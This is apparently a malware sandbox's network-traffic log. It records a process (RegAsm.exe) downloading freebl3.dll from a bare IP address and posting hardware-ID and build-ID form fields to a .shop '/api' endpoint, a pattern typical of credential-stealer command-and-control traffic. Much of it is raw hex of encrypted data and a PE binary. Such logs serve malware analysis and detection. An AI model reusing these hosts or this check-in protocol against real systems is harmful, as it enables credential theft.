2024-05-24 07:42:54 UTC	1369	IN	Data Raw: 6a 35 6b 51 34 5a 75 77 55 2b 63 37 53 5a 44 2b 39 79 2f 77 59 64 4c 44 51 56 4e 4e 78 66 53 64 6d 66 65 64 77 46 4b 33 64 64 4c 71 2b 33 36 75 6a 71 49 66 76 6d 73 4f 75 50 72 79 50 50 31 2f 6d 2f 70 48 54 30 6a 4e 36 74 4c 77 6b 59 2b 46 50 74 77 73 39 4f 6e 37 56 65 6d 46 2b 67 65 6b 61 55 2b 56 2b 2f 77 68 2b 47 54 52 7a 45 56 54 54 38 58 30 6e 5a 48 37 6b 38 39 58 76 53 65 4f 67 70 77 48 34 6f 4f 38 55 4f 73 6c 44 74 65 66 6c 6b 57 2b 61 63 47 50 48 41 4d 47 34 50 2b 47 6d 2f 44 53 2f 6c 57 35 4f 35 75 55 30 48 32 46 6c 76 51 33 6a 54 41 6d 38 70 79 39 4b 66 49 75 67 59 30 45 54 45 66 43 2b 6f 43 58 39 35 50 46 57 4c 67 77 6b 34 71 51 46 65 4f 4d 76 6c 54 74 4b 6b 4f 64 35 66 63 75 39 6d 76 59 78 55 34 42 43 4b 4b 58 2b 64 6a 39 69 49 73 4f 39 58 57 Data Ascii: j5kQ4ZuwU+c7SZD+9y/wYdLDQVNNxfSdmfedwFK3ddLq+36ujqIfvmsOuPryPP1/m/pHT0jN6tLwkY+FPtws9On7VemF+gekaU+V+/wh+GTRzEVTT8X0nZH7k89XvSeOgpwH4oO8UOslDteflkW+acGPHAMG4P+Gm/DS/lW5O5uU0H2FlvQ3jTAm8py9KfIugY0ETEfC+oCX95PFWLgwk4qQFeOMvlTtKkOd5fcu9mvYxU4BCKKX+dj9iIsO9XW
2024-05-24 07:42:54 UTC	1369	IN	Data Raw: 65 69 4f 74 6c 66 6a 4a 6b 69 63 2b 76 6f 6c 2f 58 7a 4c 7a 45 42 50 53 6f 71 79 2b 76 4f 52 30 4d 78 4f 39 32 33 65 77 72 55 43 37 5a 6d 38 58 4b 5a 42 4a 59 61 35 6c 55 58 6e 42 72 4b 6b 42 45 5a 4b 69 71 54 51 32 50 71 65 78 31 32 77 50 70 65 47 6c 42 58 6a 67 72 52 52 37 79 56 47 6c 66 44 76 49 2f 74 6d 30 38 5a 42 54 55 76 4a 37 70 47 5a 75 74 36 6a 50 64 78 31 6d 35 72 51 54 61 7a 4a 6e 57 7a 52 43 67 37 78 6e 4f 4a 67 6c 67 58 41 70 79 38 71 42 73 33 77 30 73 43 34 30 4d 70 65 73 44 75 59 6b 4a 34 48 34 49 36 36 57 65 34 68 53 5a 58 35 38 7a 7a 32 62 39 6e 42 53 30 6c 50 7a 76 32 57 6e 50 61 58 69 78 6a 66 58 76 66 43 6c 77 32 75 30 66 67 66 7a 69 70 55 67 37 58 54 4a 66 35 70 79 64 6c 66 41 53 36 68 34 39 7a 77 6b 59 6d 6a 50 64 78 31 6d 34 37 51 Data Ascii: eiOtlfjJkic+vol/XzLzEBPSoqy+vOR0MxO923ewrUC7Zm8XKZBJYa5lUXnBrKkBEZKiqTQ2Pqex12wPpeGlBXjgrRR7yVGlfDvI/tm08ZBTUvJ7pGZut6jPdx1m5rQTazJnWzRCg7xnOJglgXApy8qBs3w0sC40MpesDuYkJ4H4I66We4hSZX58zz2b9nBS0lPzv2WnPaXixjfXvfClw2u0fgfzipUg7XTJf5pydlfAS6h49zwkYmjPdx1m47Q
2024-05-24 07:42:54 UTC	1369	IN	Data Raw: 56 54 36 43 56 46 6b 76 7a 2b 4a 50 64 74 31 63 6c 46 54 30 62 45 2f 4e 4c 57 6b 76 75 67 46 72 41 74 33 4e 72 53 56 63 36 43 72 45 72 6c 4f 55 69 65 2b 37 31 47 6c 58 47 58 70 79 39 59 4c 71 47 58 30 70 2f 32 30 4a 4d 55 39 7a 75 4f 68 70 45 56 35 6f 43 32 56 4f 34 37 53 5a 37 38 38 79 44 31 61 74 58 47 54 30 68 44 78 76 32 5a 6b 66 2b 55 77 56 43 36 64 64 4c 71 2b 33 36 75 6a 71 49 66 76 6d 73 4f 74 66 54 79 4a 62 34 47 73 74 41 4b 4b 53 33 54 6c 50 6e 7a 75 70 66 48 46 75 39 33 33 49 57 59 48 65 43 4b 76 46 54 71 4a 55 2b 51 38 66 67 6d 2b 57 48 65 78 6b 4e 42 51 4e 6a 37 6e 35 48 36 6d 38 4a 63 73 7a 53 58 77 74 35 39 68 65 4c 36 57 50 35 70 46 74 75 33 7a 79 6e 6f 66 74 71 50 4c 43 70 5a 68 4a 66 36 38 2b 50 34 6f 44 33 33 4d 70 44 43 79 46 65 75 68 Data Ascii: VT6CVFkvz+JPdt1clFT0bE/NLWkvugFrAt3NrSVc6CrErlOUie+71GlXGXpy9YLqGX0p/20JMU9zuOhpEV5oC2VO47SZ788yD1atXGT0hDxv2Zkf+UwVC6ddLq+36ujqIfvmsOtfTyJb4GstAKKS3TlPnzupfHFu933IWYHeCKvFTqJU+Q8fgm+WHexkNBQNj7n5H6m8JcszSXwt59heL6WP5pFtu3zynoftqPLCpZhJf68+P4oD33MpDCyFeuh
2024-05-24 07:42:54 UTC	1369	IN	Data Raw: 6c 44 73 47 31 76 53 2f 79 59 64 72 41 52 30 4a 48 77 4f 36 41 6c 50 4f 59 7a 6c 71 38 4f 35 71 51 6c 68 72 6e 69 72 6c 57 34 53 46 43 6b 2f 54 36 62 72 41 47 73 71 51 45 52 6c 36 4b 70 4e 44 59 32 59 66 62 57 2f 64 64 39 35 33 65 66 59 57 51 30 6a 53 4e 61 55 6d 56 74 36 56 73 76 6d 62 55 78 30 35 46 51 63 66 37 6c 4a 48 6f 6d 63 35 59 74 7a 47 58 6a 5a 59 52 37 59 6d 6f 57 65 49 68 54 5a 54 36 38 79 33 36 4c 70 65 6e 4c 79 6f 47 7a 65 54 53 77 4c 6a 51 2b 56 75 35 4c 70 4f 46 67 52 2b 75 34 64 46 41 71 45 45 6c 67 4a 2b 57 52 62 35 70 31 59 38 63 41 77 62 4f 38 6f 43 54 2b 35 76 41 57 4c 41 36 6d 59 69 51 47 75 71 4b 74 46 54 6e 4b 6b 61 55 2b 76 4d 6b 39 32 66 65 77 30 42 47 42 6f 53 55 2b 66 4f 36 6c 39 4d 57 37 33 66 63 71 62 45 34 77 6f 36 67 48 34 Data Ascii: lDsG1vS/yYdrAR0JHwO6AlPOYzlq8O5qQlhrnirlW4SFCk/T6brAGsqQERl6KpNDY2YfbW/dd953efYWQ0jSNaUmVt6VsvmbUx05FQcf7lJHomc5YtzGXjZYR7YmoWeIhTZT68y36LpenLyoGzeTSwLjQ+Vu5LpOFgR+u4dFAqEElgJ+WRb5p1Y8cAwbO8oCT+5vAWLA6mYiQGuqKtFTnKkaU+vMk92few0BGBoSU+fO6l9MW73fcqbE4wo6gH4
2024-05-24 07:42:54 UTC	714	IN	Data Raw: 2f 66 6f 69 36 47 58 59 7a 46 4a 4d 56 6f 71 55 2b 59 65 30 2b 4b 42 50 33 31 37 33 77 70 63 5a 72 74 48 34 48 2b 41 67 53 4a 37 78 38 7a 7a 37 61 4e 62 41 54 55 68 43 77 76 2b 53 6e 50 36 58 7a 6c 57 37 50 70 75 42 6e 78 48 6e 68 37 4e 51 70 6d 63 6d 38 70 79 39 4b 65 59 75 67 59 30 45 59 46 33 4a 38 4a 2f 59 6b 76 76 55 47 4e 39 65 68 65 72 37 66 71 36 4f 74 68 2b 2b 61 77 36 56 2b 66 67 75 39 47 6a 64 79 6b 4a 4c 51 38 72 33 6b 5a 66 2b 6c 73 39 5a 74 7a 36 56 67 35 59 51 35 49 4b 38 55 75 55 76 53 4e 6d 35 6c 55 57 56 4c 74 37 58 42 42 6b 45 69 74 79 4a 6c 66 61 58 69 7a 37 63 4b 74 4c 71 2b 77 79 47 34 74 45 66 34 53 55 4f 77 62 57 39 4a 66 4a 71 33 73 39 4a 51 6b 37 50 2b 4a 69 64 2b 70 6a 5a 58 72 63 79 6a 70 43 51 48 4f 75 46 75 56 2f 69 4c 30 65 Data Ascii: /foi6GXYzFJMVoqU+Ye0+KBP3173wpcZrtH4H+AgSJ7x8zz7aNbATUhCwv+SnP6XzlW7PpuBnxHnh7NQpmcm8py9KeYugY0EYF3J8J/YkvvUGN9eher7fq6Oth++aw6V+fgu9GjdykJLQ8r3kZf+ls9Ztz6Vg5YQ5IK8UuUvSNm5lUWVLt7XBBkEityJlfaXiz7cKtLq+wyG4tEf4SUOwbW9JfJq3s9JQk7P+Jid+pjZXrcyjpCQHOuFuV/iL0e
2024-05-24 07:42:54 UTC	1369	IN	Data Raw: 31 65 30 63 0d 0a 6d 68 2f 74 68 62 52 63 36 79 64 4f 32 62 6d 56 52 5a 55 75 33 74 63 45 47 51 53 4b 33 34 57 4f 38 49 75 4c 50 74 77 71 30 75 72 37 44 49 62 69 30 52 2f 68 4a 51 37 42 74 62 30 6a 2b 57 44 52 79 55 70 48 56 4d 62 7a 6c 4a 6a 37 6d 73 5a 61 76 44 4b 53 69 5a 59 51 34 34 6d 38 57 65 49 74 53 70 66 30 76 57 43 57 42 62 4b 50 51 31 6b 47 6b 72 37 53 76 39 65 68 69 58 57 67 49 35 61 46 6e 41 50 6c 69 4c 6c 4a 36 7a 6b 4f 38 5a 7a 69 59 4a 59 46 77 4b 63 76 4b 67 62 4e 38 4e 4c 41 75 4e 44 41 57 4c 49 30 6b 49 69 58 47 2f 79 49 73 46 50 6e 4c 6b 6d 53 35 66 59 38 39 57 62 61 77 55 78 49 52 73 54 38 6b 35 58 36 30 49 55 2b 33 46 37 63 68 59 68 56 74 73 76 36 65 73 55 2b 57 4a 4f 31 33 6a 6e 6f 5a 4e 37 44 55 6b 70 48 79 65 71 66 69 4c 72 34 6f Data Ascii: 1e0cmh/thbRc6ydO2bmVRZUu3tcEGQSK34WO8IuLPtwq0ur7DIbi0R/hJQ7Btb0j+WDRyUpHVMbzlJj7msZavDKSiZYQ44m8WeItSpf0vWCWBbKPQ1kGkr7Sv9ehiXWgI5aFnAPliLlJ6zkO8ZziYJYFwKcvKgbN8NLAuNDAWLI0kIiXG/yIsFPnLkmS5fY89WbawUxIRsT8k5X60IU+3F7chYhVtsv6esU+WJO13jnoZN7DUkpHyeqfiLr4o
2024-05-24 07:42:54 UTC	1369	IN	Data Raw: 4b 6b 39 30 32 2b 49 53 31 56 4f 64 70 41 50 47 63 6c 6d 37 34 4c 6f 47 4e 46 41 38 75 6f 5a 66 53 6e 4f 76 51 6b 78 54 6e 5a 38 66 58 77 30 4b 2b 32 39 49 30 2b 57 63 6d 38 75 36 56 52 5a 55 75 7a 34 38 63 41 78 53 45 6c 50 6e 7a 75 6f 4b 4c 44 76 56 31 32 34 79 64 46 4f 32 48 75 55 33 30 4c 30 32 50 39 4c 6f 51 77 45 2f 55 78 45 68 4d 53 63 48 43 72 4c 6e 33 6d 38 64 62 75 44 36 69 76 49 55 57 34 49 65 39 53 66 64 70 41 50 47 63 6c 6d 37 78 4c 6f 47 4e 66 51 45 4f 69 73 50 63 38 4a 48 37 69 30 37 33 62 64 37 43 70 52 62 67 68 37 31 4a 39 32 52 76 6c 50 7a 78 49 2f 46 6c 6d 59 45 73 4b 69 32 4b 2b 74 4c 41 75 4d 43 46 50 74 78 65 33 49 61 42 56 62 62 4c 36 67 32 39 66 42 33 4f 70 36 39 47 6c 58 47 58 70 79 39 59 4c 71 47 58 30 6f 36 36 79 49 6b 45 2b 56 Data Ascii: Kk902+IS1VOdpAPGclm74LoGNFA8uoZfSnOvQkxTnZ8fXw0K+29I0+Wcm8u6VRZUuz48cAxSElPnzuoKLDvV124ydFO2HuU30L02P9LoQwE/UxEhMScHCrLn3m8dbuD6ivIUW4Ie9SfdpAPGclm7xLoGNfQEOisPc8JH7i073bd7CpRbgh71J92RvlPzxI/FlmYEsKi2K+tLAuMCFPtxe3IaBVbbL6g29fB3Op69GlXGXpy9YLqGX0o66yIkE+V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49885	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:54 UTC	173	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 07:42:54 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:54 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-a7550" Accept-Ranges: bytes
2024-05-24 07:42:54 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-05-24 07:42:54 UTC	16384	IN	Data Raw: 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff 0f a4 c3 01 89 5d 9c 8b 45 b8 03 85 30 ff ff ff 8b Data Ascii: }1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x]E0
2024-05-24 07:42:54 UTC	16384	IN	Data Raw: 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 e8 50 90 07 00 83 c4 04 89 45 e8 ff 77 1c e8 42 90 Data Ascii: M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]wPEwB
2024-05-24 07:42:54 UTC	16384	IN	Data Raw: 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 01 00 0f a3 d6 73 3b 8b 75 18 83 fe 02 73 33 8b 7d Data Ascii: 0C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwEs;us3}
2024-05-24 07:42:54 UTC	16384	IN	Data Raw: 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac d1 08 89 cb 89 4d f0 8d 14 3e 81 c2 31 23 43 e4 0f Data Ascii: ^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?UuM>1#C
2024-05-24 07:42:54 UTC	16384	IN	Data Raw: 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 7f 01 00 00 77 12 31 c0 81 f9 00 01 00 00 0f 93 c0 Data Ascii: }EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w w1
2024-05-24 07:42:54 UTC	16384	IN	Data Raw: 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 00 00 c7 85 7c ff ff ff 00 00 00 00 c7 85 6c ff ff Data Ascii: $`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE\|l
2024-05-24 07:42:55 UTC	16384	IN	Data Raw: 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff ff 89 f0 f7 65 f0 89 95 28 ff ff ff 89 85 30 ff ff Data Ascii: eLXee0@eeeue0UEeeUeee $e(0
2024-05-24 07:42:55 UTC	16384	IN	Data Raw: 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 80 45 e8 ff 8d 1c 18 89 7d e4 83 d3 00 0f 92 45 8c Data Ascii: MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEEE}E
2024-05-24 07:42:55 UTC	16384	IN	Data Raw: ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 d6 89 b5 28 ff ff ff 8b b5 04 ff ff ff 81 e6 ff ff Data Ascii: 0<48%8A)$(

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49890	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:54 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13630 Host: employhabragaomlsp.shop
2024-05-24 07:42:54 UTC	13630	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:42:55 UTC	824	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=imcgjltgihntgmlhla2e1o15l1; expires=Tue, 17-Sep-2024 01:29:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1zBkq8lpRwaYWVNF9S%2FRp%2FlZnKkfzvP%2FV%2Fn4wFnI3X%2FnLSgnL1Q56LpqDdrr0H5P5r8COp4%2F1%2FXViouZch%2BFg3ZoTvD06NW8ZjOjFmHkYW%2Fk4aXBIJ87bcjTj0ipOpLHQShsVlha0dRrLw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6d7afab0c7e-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:55 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:42:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49892	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
